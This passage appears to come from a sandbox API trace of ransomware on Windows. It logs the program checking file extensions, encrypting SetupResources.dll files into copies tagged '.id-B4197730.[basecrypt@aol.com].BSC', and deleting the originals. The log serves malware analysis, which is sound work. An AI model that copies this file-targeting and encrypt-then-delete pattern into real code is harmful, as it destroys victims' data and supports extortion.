lpString2=".dll") returned -1 [0102.540] lstrlenW (lpString=".7z") returned 3 [0102.541] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0102.541] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0102.541] lstrlenW (lpString=".dbf") returned 4 [0102.541] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0102.541] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0102.541] lstrlenW (lpString=".1cd") returned 4 [0102.541] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0102.541] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0102.541] lstrlenW (lpString=".jpg") returned 4 [0102.541] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0102.541] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0102.541] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0102.541] lstrlenW (lpString=".doc") returned 4 [0102.541] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0102.541] lstrlenW (lpString=".docx") returned 5 [0102.541] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0102.541] lstrlenW (lpString=".pdf") returned 4 [0102.541] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0102.541] lstrlenW (lpString=".xls") returned 4 [0102.541] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0102.541] lstrlenW (lpString=".xlsx") returned 5 [0102.541] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0102.541] lstrlenW (lpString=".ppt") returned 4 [0102.541] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0102.541] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0102.541] lstrlenW (lpString=".zip") returned 4 [0102.542] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0102.542] lstrlenW (lpString=".rar") returned 4 [0102.542] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0102.542] lstrlenW (lpString=".bz2") returned 4 [0102.542] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0102.542] lstrlenW (lpString=".7z") returned 3 [0102.542] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0102.542] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0102.542] lstrlenW (lpString=".dbf") returned 4 [0102.542] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0102.542] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0102.542] lstrlenW (lpString=".1cd") returned 4 [0102.542] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0102.542] lstrlenW (lpString="C:\\588bce7c90097ed212\\1037\\SetupResources.dll") returned 45 [0102.542] lstrlenW (lpString=".jpg") returned 4 [0102.542] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0102.542] lstrcmpiW (lpString1=".dll", lpString2=".BSC") returned 1 [0102.542] lstrlenW (lpString="SetupResources.dll") returned 18 [0102.542] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0102.543] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2f3ff14 | out: lpFileSize=0x2f3ff14*=15192) returned 1 [0102.543] CloseHandle (hObject=0x2f4) returned 1 [0102.543] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll")) returned 0x80 [0102.543] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0102.543] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0102.543] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f3fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.543] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f3fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.543] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e0 [0102.548] GetLastError () returned 0x0 [0102.548] ReadFile (in: hFile=0x2f4, lpBuffer=0x3a16020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesRead=0x2f3fecc*=0x3b58, lpOverlapped=0x0) returned 1 [0102.565] WriteFile (in: hFile=0x2e0, lpBuffer=0x3a16020*, nNumberOfBytesToWrite=0x3b60, lpNumberOfBytesWritten=0x2f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesWritten=0x2f3fc94*=0x3b60, lpOverlapped=0x0) returned 1 [0102.566] ReadFile (in: hFile=0x2f4, lpBuffer=0x3a16020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesRead=0x2f3fecc*=0x0, lpOverlapped=0x0) returned 1 [0102.566] WriteFile (in: hFile=0x2e0, lpBuffer=0x3a16020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesWritten=0x2f3fc94*=0xf8, lpOverlapped=0x0) returned 1 [0102.566] SetEndOfFile (hFile=0x2e0) returned 1 [0102.566] CloseHandle (hObject=0x2e0) returned 1 [0102.567] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f3fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.567] SetEndOfFile (hFile=0x2f4) returned 1 [0102.568] CloseHandle (hObject=0x2f4) returned 1 [0102.568] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0102.568] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1042\\setupresources.dll")) returned 1 [0102.569] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0102.569] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0102.569] lstrlenW (lpString=".doc") returned 4 [0102.569] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0102.569] lstrlenW (lpString=".docx") returned 5 [0102.569] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0102.569] lstrlenW (lpString=".pdf") returned 4 [0102.569] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0102.569] lstrlenW (lpString=".xls") returned 4 [0102.569] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0102.569] lstrlenW (lpString=".xlsx") returned 5 [0102.569] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0102.569] lstrlenW (lpString=".ppt") returned 4 [0102.569] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0102.569] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0102.569] lstrlenW (lpString=".zip") returned 4 [0102.569] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0102.569] lstrlenW (lpString=".rar") returned 4 [0102.569] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0102.569] lstrlenW (lpString=".bz2") returned 4 [0102.569] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0102.569] lstrlenW (lpString=".7z") returned 3 [0102.569] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0102.570] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0102.570] lstrlenW (lpString=".dbf") returned 4 [0102.570] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0102.570] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0102.570] lstrlenW (lpString=".1cd") returned 4 [0102.570] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0102.570] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0102.570] lstrlenW (lpString=".jpg") returned 4 [0102.570] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0102.570] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0102.570] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0102.570] lstrlenW (lpString=".doc") returned 4 [0102.570] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0102.570] lstrlenW (lpString=".docx") returned 5 [0102.570] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0102.570] lstrlenW (lpString=".pdf") returned 4 [0102.570] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0102.570] lstrlenW (lpString=".xls") returned 4 [0102.570] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0102.570] lstrlenW (lpString=".xlsx") returned 5 [0102.570] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0102.571] lstrlenW (lpString=".ppt") returned 4 [0102.571] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0102.571] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0102.571] lstrlenW (lpString=".zip") returned 4 [0102.571] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0102.571] lstrlenW (lpString=".rar") returned 4 [0102.571] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0102.571] lstrlenW (lpString=".bz2") returned 4 [0102.571] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0102.571] lstrlenW (lpString=".7z") returned 3 [0102.571] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0102.571] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0102.571] lstrlenW (lpString=".dbf") returned 4 [0102.571] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0102.571] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0102.571] lstrlenW (lpString=".1cd") returned 4 [0102.571] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0102.571] lstrlenW (lpString="C:\\588bce7c90097ed212\\1042\\SetupResources.dll") returned 45 [0102.571] lstrlenW (lpString=".jpg") returned 4 [0102.571] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0102.571] lstrcmpiW (lpString1=".dll", lpString2=".BSC") returned 1 [0102.571] lstrlenW (lpString="SetupResources.dll") returned 18 [0102.571] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0102.588] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2f3ff14 | out: lpFileSize=0x2f3ff14*=19288) returned 1 [0102.588] CloseHandle (hObject=0x2f4) returned 1 [0102.588] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll")) returned 0x80 [0102.589] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0102.589] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0102.589] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f3fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.589] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f3fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.589] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0102.612] GetLastError () returned 0x0 [0102.612] ReadFile (in: hFile=0x2f4, lpBuffer=0x3a16020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesRead=0x2f3fecc*=0x4b58, lpOverlapped=0x0) returned 1 [0102.718] WriteFile (in: hFile=0x34c, lpBuffer=0x3a16020*, nNumberOfBytesToWrite=0x4b60, lpNumberOfBytesWritten=0x2f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesWritten=0x2f3fc94*=0x4b60, lpOverlapped=0x0) returned 1 [0102.719] ReadFile (in: hFile=0x2f4, lpBuffer=0x3a16020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesRead=0x2f3fecc*=0x0, lpOverlapped=0x0) returned 1 [0102.719] WriteFile (in: hFile=0x34c, lpBuffer=0x3a16020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesWritten=0x2f3fc94*=0xf8, lpOverlapped=0x0) returned 1 [0102.719] SetEndOfFile (hFile=0x34c) returned 1 [0102.719] CloseHandle (hObject=0x34c) returned 1 [0102.721] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f3fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.721] SetEndOfFile (hFile=0x2f4) returned 1 [0102.722] CloseHandle (hObject=0x2f4) returned 1 [0102.722] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0102.722] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1043\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1043\\setupresources.dll")) returned 1 [0102.722] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0102.722] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0102.723] lstrlenW (lpString=".doc") returned 4 [0102.723] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0102.723] lstrlenW (lpString=".docx") returned 5 [0102.723] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0102.723] lstrlenW (lpString=".pdf") returned 4 [0102.723] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0102.723] lstrlenW (lpString=".xls") returned 4 [0102.723] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0102.723] lstrlenW (lpString=".xlsx") returned 5 [0102.723] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0102.723] lstrlenW (lpString=".ppt") returned 4 [0102.723] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0102.723] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0102.723] lstrlenW (lpString=".zip") returned 4 [0102.723] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0102.723] lstrlenW (lpString=".rar") returned 4 [0102.723] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0102.723] lstrlenW (lpString=".bz2") returned 4 [0102.723] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0102.723] lstrlenW (lpString=".7z") returned 3 [0102.723] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0102.723] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0102.723] lstrlenW (lpString=".dbf") returned 4 [0102.723] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0102.723] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0102.723] lstrlenW (lpString=".1cd") returned 4 [0102.724] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0102.724] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0102.724] lstrlenW (lpString=".jpg") returned 4 [0102.724] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0102.724] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0102.724] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0102.724] lstrlenW (lpString=".doc") returned 4 [0102.724] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0102.724] lstrlenW (lpString=".docx") returned 5 [0102.724] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0102.724] lstrlenW (lpString=".pdf") returned 4 [0102.724] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0102.724] lstrlenW (lpString=".xls") returned 4 [0102.724] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0102.724] lstrlenW (lpString=".xlsx") returned 5 [0102.724] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0102.724] lstrlenW (lpString=".ppt") returned 4 [0102.724] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0102.724] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0102.724] lstrlenW (lpString=".zip") returned 4 [0102.724] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0102.724] lstrlenW (lpString=".rar") returned 4 [0102.724] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0102.724] lstrlenW (lpString=".bz2") returned 4 [0102.725] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0102.725] lstrlenW (lpString=".7z") returned 3 [0102.725] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0102.725] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0102.725] lstrlenW (lpString=".dbf") returned 4 [0102.725] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0102.725] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0102.725] lstrlenW (lpString=".1cd") returned 4 [0102.725] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0102.725] lstrlenW (lpString="C:\\588bce7c90097ed212\\1043\\SetupResources.dll") returned 45 [0102.725] lstrlenW (lpString=".jpg") returned 4 [0102.725] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0102.725] lstrcmpiW (lpString1=".dll", lpString2=".BSC") returned 1 [0102.725] lstrlenW (lpString="SetupResources.dll") returned 18 [0102.725] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0102.725] GetFileSizeEx (in: hFile=0x2f4, lpFileSize=0x2f3ff14 | out: lpFileSize=0x2f3ff14*=18264) returned 1 [0102.725] CloseHandle (hObject=0x2f4) returned 1 [0102.726] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll")) returned 0x80 [0102.726] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll.id-b4197730.[basecrypt@aol.com].bsc")) returned 0xffffffff [0102.726] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0102.726] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f3fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.726] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f3fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.726] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll.id-b4197730.[basecrypt@aol.com].bsc"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0102.739] GetLastError () returned 0x0 [0102.739] ReadFile (in: hFile=0x2f4, lpBuffer=0x3a16020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesRead=0x2f3fecc*=0x4758, lpOverlapped=0x0) returned 1 [0102.818] WriteFile (in: hFile=0x314, lpBuffer=0x3a16020*, nNumberOfBytesToWrite=0x4760, lpNumberOfBytesWritten=0x2f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesWritten=0x2f3fc94*=0x4760, lpOverlapped=0x0) returned 1 [0102.819] ReadFile (in: hFile=0x2f4, lpBuffer=0x3a16020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2f3fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesRead=0x2f3fecc*=0x0, lpOverlapped=0x0) returned 1 [0102.819] WriteFile (in: hFile=0x314, lpBuffer=0x3a16020*, nNumberOfBytesToWrite=0xf8, lpNumberOfBytesWritten=0x2f3fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a16020*, lpNumberOfBytesWritten=0x2f3fc94*=0xf8, lpOverlapped=0x0) returned 1 [0102.819] SetEndOfFile (hFile=0x314) returned 1 [0102.819] CloseHandle (hObject=0x314) returned 1 [0102.820] SetFilePointerEx (in: hFile=0x2f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2f3fec0 | out: lpNewFilePointer=0x0) returned 1 [0102.820] SetEndOfFile (hFile=0x2f4) returned 1 [0102.821] CloseHandle (hObject=0x2f4) returned 1 [0102.821] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll.id-B4197730.[basecrypt@aol.com].BSC", dwFileAttributes=0x80) returned 1 [0102.822] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1049\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1049\\setupresources.dll")) returned 1 [0102.822] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0102.822] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0102.822] lstrlenW (lpString=".doc") returned 4 [0102.822] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0102.822] lstrlenW (lpString=".docx") returned 5 [0102.822] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0102.822] lstrlenW (lpString=".pdf") returned 4 [0102.822] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0102.822] lstrlenW (lpString=".xls") returned 4 [0102.822] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0102.822] lstrlenW (lpString=".xlsx") returned 5 [0102.822] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0102.822] lstrlenW (lpString=".ppt") returned 4 [0102.822] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0102.822] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0102.822] lstrlenW (lpString=".zip") returned 4 [0102.822] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0102.822] lstrlenW (lpString=".rar") returned 4 [0102.822] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0102.822] lstrlenW (lpString=".bz2") returned 4 [0102.823] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0102.823] lstrlenW (lpString=".7z") returned 3 [0102.823] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0102.823] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0102.823] lstrlenW (lpString=".dbf") returned 4 [0102.823] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0102.823] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0102.823] lstrlenW (lpString=".1cd") returned 4 [0102.823] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0102.823] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0102.823] lstrlenW (lpString=".jpg") returned 4 [0102.823] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0102.823] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0102.823] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0102.823] lstrlenW (lpString=".doc") returned 4 [0102.823] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0102.823] lstrlenW (lpString=".docx") returned 5 [0102.823] lstrcmpiW (lpString1=".docx", lpString2="s.dll") returned -1 [0102.823] lstrlenW (lpString=".pdf") returned 4 [0102.823] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0102.823] lstrlenW (lpString=".xls") returned 4 [0102.823] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0102.823] lstrlenW (lpString=".xlsx") returned 5 [0102.823] lstrcmpiW (lpString1=".xlsx", lpString2="s.dll") returned -1 [0102.823] lstrlenW (lpString=".ppt") returned 4 [0102.823] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0102.823] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0102.823] lstrlenW (lpString=".zip") returned 4 [0102.823] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0102.823] lstrlenW (lpString=".rar") returned 4 [0102.823] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0102.824] lstrlenW (lpString=".bz2") returned 4 [0102.824] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0102.824] lstrlenW (lpString=".7z") returned 3 [0102.824] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0102.824] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0102.824] lstrlenW (lpString=".dbf") returned 4 [0102.824] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0102.824] lstrlenW (lpString="C:\\588bce7c90097ed212\\1049\\SetupResources.dll") returned 45 [0102.824] lstrlenW (lpString=".1cd") returned 4 [0102.824] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 